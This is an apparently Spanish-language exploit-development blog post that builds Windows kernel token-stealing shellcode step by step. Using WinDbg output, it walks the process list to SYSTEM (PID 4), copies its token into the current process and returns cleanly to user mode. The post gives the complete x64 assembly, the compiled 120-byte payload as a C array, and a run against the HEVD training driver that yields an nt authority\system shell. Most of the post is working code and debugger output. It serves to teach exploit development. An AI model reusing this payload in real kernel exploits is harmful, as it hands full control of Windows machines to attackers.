xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



Exploit Development

Token Stealing


Después de explotar una vulnerabilidad en el kernel necesitamos un shellcode que nos ejecute algo, mas especificamente que nos de privilegios elevados en el equipo, por ello en este post crearemos desde 0 un shellcode para robar el token de un proceso elevado y copiarlo al proceso actual para obtener asi sus privilegios, a esta técnica se le llama token stealing y es de las mas usadas en exploits de kernel


Token


En windows existe un proceso llamado SYSTEM al cual le pertenece el pid 4, este alberga la mayoria de subprocesos del sistema en modo kernel, dado que alberga la ejecución del código en modo kernel este deberia estar en un contexto de privilegios administrativos por lo que podemos usarlo como base para nuestro shellcode

0: kd> !process 0 0 System
PROCESS ffff8688a5c99080
    SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 001ad000  ObjectTable: ffffb60e7c05bf00  HandleCount: 3042.  
    Image: System

la dirección que nos otorga el primer resultado es la de la estructura _EPROCESS de SYSTEM, entre los atributos de la estructura en el offset 0x4b8 encontramos lo primero interesante para nuestro shellcode, esto es el campo Token del proceso

0: kd> dt nt!_EPROCESS 0xffff8688a5c99080
   +0x000 Pcb              : _KPROCESS
   +0x438 ProcessLock      : _EX_PUSH_LOCK
   +0x440 UniqueProcessId  : 0x00000000`00000004 Void
   +0x448 ActiveProcessLinks : _LIST_ENTRY [ 0xffff8688`a5d084c8 - 0xfffff807`04a1e0d0 ]  
   +0x458 RundownProtect   : _EX_RUNDOWN_REF
   +0x460 Flags2           : 0xd000
   ................................
   +0x4b0 ExceptionPortData : (null) 
   +0x4b0 ExceptionPortValue : 0
   +0x4b0 ExceptionPortState : 0y000
   +0x4b8 Token            : _EX_FAST_REF

El campo Token se muestra como una estructura _EX_FAST_REF, esta almacena 3 atributos entre los cuales cambia solo el tipo de dato, ya que el offset se mantiene

0: kd> dt nt!_EX_FAST_REF
   +0x000 Object           : Ptr64 Void
   +0x000 RefCnt           : Pos 0, 4 Bits  
   +0x000 Value            : Uint8B

En esta estructura se almacena nuestro token, esto podemos verlo accediendo al valor en el offset 0x4b8 del proceso, luego limpiaremos el valor de RefCnt

0: kd> dt nt!_EX_FAST_REF 0xffff8688a5c99080 + 0x4b8
   +0x000 Object           : 0xffffb60e`7c036895 Void  
   +0x000 RefCnt           : 0y0101
   +0x000 Value            : 0xffffb60e`7c036895

El campo RefCnt es igual a 0y0101 que equivale a 5 en decimal, usando and podemos limpiar el ultimo bit, el resultado que obtenemos es 5, lo que nos interesa es el valor opuesto, osea el token con este bit limpio, para usaremos - en 0xf

0: kd> ? 0y0101
Evaluate expression: 5 = 00000000`00000005

0: kd> ? 0xffffb60e7c036895 & 0xf
Evaluate expression: 5 = 00000000`00000005

0:000> ? 0xffffb60e7c036895 & -0xf
Evaluate expression: -81301650315119 = ffffb60e`7c036891  

De esta forma tenemos el token sin procesar, en este punto podemos copiarlo a otro proceso, y nada mejor que hacerlo a una cmd.exe para comprobar su funcionamiento

Microsoft Windows [Versión 10.0.19045.4651]
(c) Microsoft Corporation. Todos los derechos reservados.  

C:\Users\user> whoami
windows\user

C:\Users\user>

Después de generar el proceso identificaremos la dirección del proceso, luego de ello podemos sobrescribir el token por el que conseguimos anteriormente de SYSTEM

0: kd> !process 0 0 cmd.exe
PROCESS ffff8688ad974080
    SessionId: 1  Cid: 1e5c    Peb: c21129d000  ParentCid: 14e0
    DirBase: ac421000  ObjectTable: ffffb60e8166c3c0  HandleCount:  80.
    Image: cmd.exe

0: kd> eq 0xffff8688ad974080 + 0x4b8 0xffffb60e7c036891  

0: kd> g

Como resultado, al volver a la cmd.exe y comprobar el usuario y privilegios, ahora es nt authority\system ya que hemos suplantado todos los privilegios con el token

C:\Users\user> whoami
nt authority\system

C:\Users\user>


Shellcode


El plan es hacer algo similar a lo de antes desde un shellcode pero en lugar de una cmd al proceso actual, pero para ello primero necesitamos obtener la dirección del token en el proceso actual, según documentación la función PsGetCurrentProcess deberia devolver un puntero al EPROCESS actual, podemos partir de esa base

La primera instrucción de PsGetCurrentProcess utiliza el segmento gs con un offset de 0x188, esto es el puntero a la entrada KTRHEAD en la estructura ETHREAD, podemos verificar que KiInitialThread representa la dirección del hilo actual, sin embargo necesitamos la dirección del proceso padre pero es un buen avance

0: kd> u nt!PsGetCurrentProcess L3
nt!PsGetCurrentProcess:
fffff807`04086700 65488b042588010000 mov   rax,qword ptr gs:[188h]
fffff807`04086709 488b80b8000000     mov   rax,qword ptr [rax+0B8h]
fffff807`04086710 c3                 ret

0: kd> dqs gs:[0x188] L1
002b:00000000`00000188  ffff8688`a5cdf080

0: kd> !thread -p
PROCESS ffff8688a5c99080
    SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 001ad000  ObjectTable: ffffb60e7c05bf00  HandleCount: 2965.
    Image: System

THREAD ffff8688a5cdf080  Cid 0004.0070  Teb: 0000000000000000 Win32Thread: 0000000000000000 RUNNING on processor 0  
Not impersonating

La siguiente instrucción de PsGetCurrentProcess mueve el contenido de la dirección anterior mas un offset de 0xb8, la lógica nos dice que esta será la dirección del proceso actual ya que la siguiente es un ret, esto podemos comprobarlo desplegando la estructura _EPROCESS y pasandole como valor lo que creemos es la dirección del proceso actual, esta muestra el PID 4 de system por lo que es correcto

0: kd> dt nt!_EPROCESS poi(nt!KiInitialThread + 0xb8)
   +0x000 Pcb              : _KPROCESS
   +0x438 ProcessLock      : _EX_PUSH_LOCK
   +0x440 UniqueProcessId  : 0x00000000`00000004 Void
   +0x448 ActiveProcessLinks : _LIST_ENTRY [ 0xffff8688`a5d084c8 - 0xfffff807`04a1e0d0 ]  
   +0x458 RundownProtect   : _EX_RUNDOWN_REF
   +0x460 Flags2           : 0xd000

Iniciemos con la escritura del shellcode, las instrucciones de PsGetCurrentProcess nos servirán para obtener la dirección del proceso actual y después lo guardamos en rbx

global _start

_start:
    mov rdx, [gs:0x188]              ; $rdx = _KTHREAD
    mov rax, [rdx + 0xb8]            ; $rax = _EPROCESS  
    mov rbx, rax                     ; $rbx = _EPROCESS  

Un elemento interesante de _EPROCESS es el campo ActiveProcessLinks que es una estructura _LIST_ENTRY, esta es una lista doblemente enlazada que quiere decir que cada elemento apunta al anterior y siguiente elemento, esta lista se encarga del registro de todos los procesos activos por lo que deberiamos encontrar a SYSTEM

0: kd> dt nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x438 ProcessLock      : _EX_PUSH_LOCK
   +0x440 UniqueProcessId  : Ptr64 Void
   +0x448 ActiveProcessLinks : _LIST_ENTRY
   +0x458 RundownProtect   : _EX_RUNDOWN_REF
   +0x460 Flags2           : Uint4B

0: kd> dt nt!_LIST_ENTRY
   +0x000 Flink            : Ptr64 _LIST_ENTRY  
   +0x008 Blink            : Ptr64 _LIST_ENTRY  

Podemos escribir un bucle que se encargue de recorres esta lista y comparar el PID del proceso con 4, el cual pertenece a SYSTEM hasta encontrar su dirección

    .loop:
        mov rbx, [rbx + 0x448]       ; $rbx = ActiveProcessLinks  
        sub rbx, 0x448               ; $rbx = _EPROCESS
        cmp qword [rbx + 0x440], 0x4 ; cmp PID to SYSTEM PID
        jnz .loop                    ; if zf == 0 -> loop

Una vez encontramos la estructura del proceso SYSTEM podemos obtener el token de este y copiarlo a nuestro proceso actual, no sin antes limpiar el valor RefCnt

    mov rcx, [rbx + 0x4b8]           ; $rcx = SYSTEM token
    and cl, 0xf0                     ; clear _EX_FAST_REF struct
    mov [rax + 0x4b8], rcx           ; store SYSTEM token in _EPROCESS  

Para finalizar podriamos simplemente establecer el valor de retorno en 0 indicando éxito y retornar fuera de la función y continuar su ejecución normal

    xor rax, rax                     ; $rax = STATUS SUCCESS  
    ret                              ; return

Hasta ahora nuestro shellcode se ve de esta forma, sin embargo aún tenemos un problema y es la salida de forma correcta donde tenemos varias opciones

global _start

_start:
    mov rdx, [gs:0x188]              ; $rdx = _KTHREAD
    mov rax, [rdx + 0xb8]            ; $rax = _EPROCESS  
    mov rbx, rax                     ; $rbx = _EPROCESS

    .loop:
        mov rbx, [rbx + 0x448]       ; $rbx = ActiveProcessLinks
        sub rbx, 0x448               ; $rbx = _EPROCESS
        cmp qword [rbx + 0x440], 0x4 ; cmp PID to SYSTEM PID
        jnz .loop                    ; if zf == 0 -> loop

    mov rcx, [rbx + 0x4b8]           ; $rcx = SYSTEM token
    and cl, 0xf0                     ; clear _EX_FAST_REF struct
    mov [rax + 0x4b8], rcx           ; store SYSTEM token in _EPROCESS

    xor rax, rax                     ; $rax = STATUS SUCCESS
    ret                              ; return


Cleanup


Aunque el shellcode copiará el token a nuestro proceso seguimos en una ioctl y al explotar la vulnerabilidad modificamos la pila, al ejecutar el ret provocará un BSOD, la primera opción es restaurar la pila a un punto en donde al retornar no bloquee o buscamos una forma que evite este problema de forma mucho mas general

En lugar complicarnos intentando restaurar la pila podemos simplemente volver al modo de usuario, sin embargo necesitamos restaurar el contexto del estado de la CPU a como estaba antes de cambiar a modo kernel, para nuesta suerte esto se guarda en el TrapFrame que es un valor de la estructura KTRHEAD en el offset 0x90

0: kd> dqs gs:0x188 L1
002b:00000000`00000188  ffffb68c`7dddc080

0: kd> dt nt!_KTHREAD 0xffffb68c7dddc080
   +0x000 Header           : _DISPATCHER_HEADER
   +0x018 SListFaultAddress : (null) 
   +0x020 QuantumTarget    : 0x7a1c381
   +0x028 InitialStack     : 0xffff8503`c6614c90 Void
   +0x030 StackLimit       : 0xffff8503`c660f000 Void
   +0x038 StackBase        : 0xffff8503`c6615000 Void
   ..................................................
   +0x080 SystemCallNumber : 7
   +0x084 ReadyTime        : 9
   +0x088 FirstArgument    : 0x00000000`00000094 Void
   +0x090 TrapFrame        : 0xffff8503`c6614b00 _KTRAP_FRAME  

En esta estructura podemos encontrar los registros guardados de modo usuario, necesitamos restaurar varios de ellos que no se consideran volátiles, para ello nos guiaremos de un ejemplo en linux donde nos dice que registros deben contener que valores, por ejemplo que r11 debe contener las rflags o rcx el valor de rip

0: kd> dt nt!_KTRAP_FRAME 0xffff8503c6614b00
   +0x000 P1Home           : 0xffffb68c`7dddc080
   +0x008 P2Home           : 0x10
   +0x010 P3Home           : 0xffff8503`00000000
   +0x018 P4Home           : 0xffffb68c`00000000
   .............................................  
   +0x140 Rbx              : 0
   +0x148 Rdi              : 0x94
   +0x150 Rsi              : 0x000001ae`845b0000
   +0x158 Rbp              : 0x94
   +0x160 ErrorCode        : 4
   +0x160 ExceptionFrame   : 4
   +0x168 Rip              : 0x00007ff8`728ed0c4
   +0x170 SegCs            : 0x33
   +0x172 Fill0            : 0 ''
   +0x173 Logging          : 0 ''
   +0x174 Fill1            : [2] 0
   +0x178 EFlags           : 0x246
   +0x17c Fill2            : 0
   +0x180 Rsp              : 0x00000083`ed55fb98

Con lo que sabemos ahora podemos simplemente restaurar los registros desde la estructura TrapFrame a como nos conviene para posteriormente intercambiar el segmento gs y ejecutar el sysret para volver al modo de usuario, no sin antes establecer el valor de retorno en eax a 0 indicado que ha vuelto correctamente

global _start

_start:
    mov rdx, [gs:0x188]              ; $rdx = _KTHREAD
    mov rax, [rdx + 0xb8]            ; $rax = _EPROCESS  
    mov rbx, rax                     ; $rbx = _EPROCESS

    .loop:
        mov rbx, [rbx + 0x448]       ; $rbx = ActiveProcessLinks
        sub rbx, 0x448               ; $rbx = _EPROCESS
        cmp qword [rbx + 0x440], 0x4 ; cmp PID to SYSTEM PID
        jnz .loop                    ; if zf == 0 -> loop

    mov rcx, [rbx + 0x4b8]           ; $rcx = SYSTEM token
    and cl, 0xf0                     ; clear _EX_FAST_REF struct
    mov [rax + 0x4b8], rcx           ; store SYSTEM token in _EPROCESS

    mov rdx, [rdx + 0x90]            ; $rdx = ETHREAD.TrapFrame
    mov rbp, [rdx + 0x158]           ; $rbp = ETHREAD.TrapFrame.Rbp
    mov rcx, [rdx + 0x168]           ; $rcx = ETHREAD.TrapFrame.Rip
    mov r11, [rdx + 0x178]           ; $r11 = ETHREAD.TrapFrame.EFlags  
    mov rsp, [rdx + 0x180]           ; $rsp = ETHREAD.TrapFrame.Rsp

    xor eax, eax                     ; $eax = STATUS SUCCESS
    swapgs                           ; swap gs segment
    o64 sysret                       ; return to usermode

Sin embargo al intentar usar este shellcode nos devuelve un BSOD ocasionado por el error APC_INDEX_MISMATCH, la documentación nos dice que esto se debe a que KeEnterCriticalRegion debe tener una llamada coincidente a KeLeaveCriticalRegion

0: kd> g
KDTARGET: Refreshing KD connection
*** Fatal System Error: 0x00000001 (0x00007FFBD644F8B4,0x0000000000000000,0x000000000000FFFF,0xFFFFDB0487C53B80)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

For analysis of this file, run !analyze -v
nt!DbgBreakPointWithStatus:
fffff806`34c073f0 cc              int     3

0: kd> !analyze -v
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

APC_INDEX_MISMATCH (1)
This is a kernel internal error. The most common reason to see this BugCheck is when a filesystem or a driver has a mismatched number of calls to disable and re-enable APCs. The key data item is the Thread->CombinedApcDisable field. This consists of two separate 16-bit fields, the SpecialApcDisable and the KernelApcDisable. A negative value of either indicates that a driver has disabled special or normal APCs (respectively) without re-enabling them; a positive value indicates that a driver has enabled special or normal APCs (respectively) too many times.  
Arguments:
Arg1: 00007ffbd644f8b4, Address of system call function or worker routine
Arg2: 0000000000000000, Thread->ApcStateIndex
Arg3: 000000000000ffff, (Thread->SpecialApcDisable << 16) | Thread->KernelApcDisable
Arg4: ffffdb0487c53b80, Call type (0 - system call, 1 - worker routine)

Accediendo a la estructura KTHREAD en el offset 0x1e4 podemos ver que el valor en ejecución es de -1, la solución es simplemente limpiar KernelApcDisable estableciendolo a 0 por lo que solo debemos aumentarle su valor en una unidad

0: kd> dqs gs:0x188 L1
002b:00000000`00000188  ffffb081`1abed080

0: kd> dt nt!_KTHREAD 0xffffb0811abed080
   +0x000 Header           : _DISPATCHER_HEADER
   +0x018 SListFaultAddress : (null) 
   +0x020 QuantumTarget    : 0x769b263
   +0x028 InitialStack     : 0xffff9084`eab77c90 Void
   +0x030 StackLimit       : 0xffff9084`eab72000 Void
   +0x038 StackBase        : 0xffff9084`eab78000 Void
   ..................................................  
   +0x1e4 KernelApcDisable : 0n-1
   +0x1e6 SpecialApcDisable : 0n0
   +0x1e4 CombinedApcDisable : 0xffff

Entonces desde nuestro shellcode podemos simplemente obtener el valor actual de KernelApcDisable, incrementar su valor en una unidad y restaurarlo de nuevo

    mov cx, [rdx + 0x1e4]            ; $cx = KernelApcDisable  
    inc cx                           ; fix value
    mov [rdx + 0x1e4], cx            ; restore value

El shellcode final nos queda de la siguiente forma, resumiendo busca el token del proceso de SYSTEM para copiarlo al proceso actual y vuelve al modo de usuario

global _start

_start:
    mov rdx, [gs:0x188]              ; $rdx = _KTHREAD
    mov rax, [rdx + 0xb8]            ; $rax = _EPROCESS
    mov rbx, rax                     ; $rbx = _EPROCESS

    .loop:
        mov rbx, [rbx + 0x448]       ; $rbx = ActiveProcessLinks
        sub rbx, 0x448               ; $rbx = _EPROCESS
        cmp qword [rbx + 0x440], 0x4 ; cmp PID to SYSTEM PID
        jnz .loop                    ; if zf == 0 -> loop

    mov rcx, [rbx + 0x4b8]           ; $rcx = SYSTEM token
    and cl, 0xf0                     ; clear _EX_FAST_REF struct
    mov [rax + 0x4b8], rcx           ; store SYSTEM token in _EPROCESS

    mov cx, [rdx + 0x1e4]            ; $cx = KernelApcDisable
    inc cx                           ; fix value
    mov [rdx + 0x1e4], cx            ; restore value  

    mov rdx, [rdx + 0x90]            ; $rdx = ETHREAD.TrapFrame
    mov rbp, [rdx + 0x158]           ; $rbp = ETHREAD.TrapFrame.Rbp
    mov rcx, [rdx + 0x168]           ; $rcx = ETHREAD.TrapFrame.Rip
    mov r11, [rdx + 0x178]           ; $r11 = ETHREAD.TrapFrame.EFlags
    mov rsp, [rdx + 0x180]           ; $rsp = ETHREAD.TrapFrame.Rsp

    xor eax, eax                     ; $eax = STATUS SUCCESS
    swapgs                           ; swap gs segment
    o64 sysret                       ; return to usermode

Podemos compilarlo con nasm y pasarlo al formato que necesitamos para nuestro exploit, en total nuestro shellcode pesa un total de 120 bytes que es bastante bueno

❯ nasm -f elf64 shellcode.asm -o shellcode.o; ld shellcode.o -m elf_x86_64 -o shellcode

❯ objdump -d shellcode | grep '[0-9a-f]:' | grep -v 'shellcode' | cut -f2 -d: | cut -f1-7 -d ' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /, 0x/g' | paste -d '' -s | sed 's/^, //g'
0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x82, 0xb8, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc3, 0x48, 0x8b, 0x9b, 0x48, 0x04, 0x00, 0x00, 0x48, 0x81, 0xeb, 0x48, 0x04, 0x00, 0x00, 0x48, 0x83, 0xbb, 0x40, 0x04, 0x00, 0x00, 0x04, 0x75, 0xe8, 0x48, 0x8b, 0x8b, 0xb8, 0x04, 0x00, 0x00, 0x80, 0xe1, 0xf0, 0x48, 0x89, 0x88, 0xb8, 0x04, 0x00, 0x00, 0x66, 0x8b, 0x8a, 0xe4, 0x01, 0x00, 0x00, 0x66, 0xff, 0xc1, 0x66, 0x89, 0x8a, 0xe4, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x92, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xaa, 0x58, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x8a, 0x68, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x9a, 0x78, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xa2, 0x80, 0x01, 0x00, 0x00, 0x31, 0xc0, 0x0f, 0x01, 0xf8, 0x48, 0x0f, 0x07  


Usage


Su uso en un exploit real inicia por definir el shellcode como un array de bytes

BYTE token_stealing[120] = {
    0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x82,  
    0xb8, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc3, 0x48, 0x8b, 0x9b, 0x48, 0x04,  
    0x00, 0x00, 0x48, 0x81, 0xeb, 0x48, 0x04, 0x00, 0x00, 0x48, 0x83, 0xbb,  
    0x40, 0x04, 0x00, 0x00, 0x04, 0x75, 0xe8, 0x48, 0x8b, 0x8b, 0xb8, 0x04,  
    0x00, 0x00, 0x80, 0xe1, 0xf0, 0x48, 0x89, 0x88, 0xb8, 0x04, 0x00, 0x00,  
    0x66, 0x8b, 0x8a, 0xe4, 0x01, 0x00, 0x00, 0x66, 0xff, 0xc1, 0x66, 0x89,  
    0x8a, 0xe4, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x92, 0x90, 0x00, 0x00, 0x00,  
    0x48, 0x8b, 0xaa, 0x58, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x8a, 0x68, 0x01,  
    0x00, 0x00, 0x4c, 0x8b, 0x9a, 0x78, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xa2,  
    0x80, 0x01, 0x00, 0x00, 0x31, 0xc0, 0x0f, 0x01, 0xf8, 0x48, 0x0f, 0x07  
};

Luego de explotar la vulnerabilidad y hacer que se ejecute el shellcode habremos modificado el token del proceso actual por el de SYSTEM, asi que al lanzar una cmd.exe conseguimos obtener una shell con privilegios máximos sobre el equipo

    system("cmd.exe");  
    exit(0);

Un ejemplo puede ser el siguiente exploit de HEVD donde con el token stealing logramos robar el token y luego lanzamos una shell como nt authority\system

C:\Users\user\Desktop> whoami
windows\user

C:\Users\user\Desktop> exploit.exe
Microsoft Windows [Versión 10.0.19045.4651]
(c) Microsoft Corporation. Todos los derechos reservados.  

C:\Users\user\Desktop> whoami
nt authority\system

C:\Users\user\Desktop>